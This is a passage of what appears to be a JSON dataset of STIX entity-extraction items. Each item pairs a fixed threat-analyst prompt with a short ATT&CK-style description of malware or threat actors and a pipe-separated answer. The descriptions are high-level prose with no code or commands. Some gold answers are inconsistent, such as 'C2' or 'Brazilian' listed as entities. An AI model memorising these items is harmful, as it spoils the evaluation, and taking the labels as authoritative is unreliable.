actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFRAMESTING is a Python web shell that was used during Cutting Edge to embed into an Ivanti Connect Secure Python package for command execution.\n",
    "output": "<entities>FRAMESTING|Cutting Edge|Python|Ivanti Connect Secure</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBadPatch stores collected data in log files before exfiltration.\n",
    "output": "<entities>BadPatch</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nShimRat communicated over HTTP and HTTPS with C2 servers.\n",
    "output": "<entities>ShimRat|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCachedump can extract cached password hashes from cache entry information.\n",
    "output": "<entities>Cachedump</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFlixOnline is an Android malware, first detected in early 2021, believed to target users of WhatsApp. FlixOnline primarily spreads via automatic replies to a device\u2019s incoming WhatsApp messages.\n",
    "output": "<entities>FlixOnline|WhatsApp|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nVERMIN can delete files on the victim\u2019s machine.\n",
    "output": "<entities>VERMIN</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nShimRat has been used by the suspected China-based adversary Mofang in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"ShimRat\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. \n",
    "output": "<entities>ShimRat|Mofang|Windows Application Shimming|Windows|China</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBlack Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.\n",
    "output": "<entities>Black Basta|Windows|C++|VMWare ESXi|U.S.|Conti</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWinnti for Windows is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. \n",
    "output": "<entities>Axiom|Windows|Winnti|Winnti Group</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTriada was first reported in 2016 as a second stage malware. Later versions in 2019 appeared with new techniques and as an initial downloader of other Trojan apps.\n",
    "output": "<entities>Triada</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.\n",
    "output": "<entities>SILENTTRINITY|Croatian government agencies|Python|Powershell|C|Boo|Croatian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWindigo has used a script to check for the presence of files created by OpenSSH backdoors.\n",
    "output": "<entities>Windigo|OpenSSH</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMarcher is Android malware that is used for financial fraud.\n",
    "output": "<entities>Marcher|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTurian can search for specific files and list directories.\n",
    "output": "<entities>Turian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWEBC2 can open an interactive command shell.\n",
    "output": "<entities>WEBC2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.\n",
    "output": "<entities>BRATA|UK|Poland|Italy|Spain|USA|Android|Brazilian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAsacub is a banking trojan that attempts to steal money from victims\u2019 bank accounts. It attempts to do this by initiating a wire transfer via SMS message from compromised devices.\n",
    "output": "<entities>Asacub</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBADFLICK has been distributed via spearphishing campaigns containing malicious Microsoft Word documents.\n",
    "output": "<entities>BADFLICK|Microsoft Word|Microsoft</entities>"
  },
  {
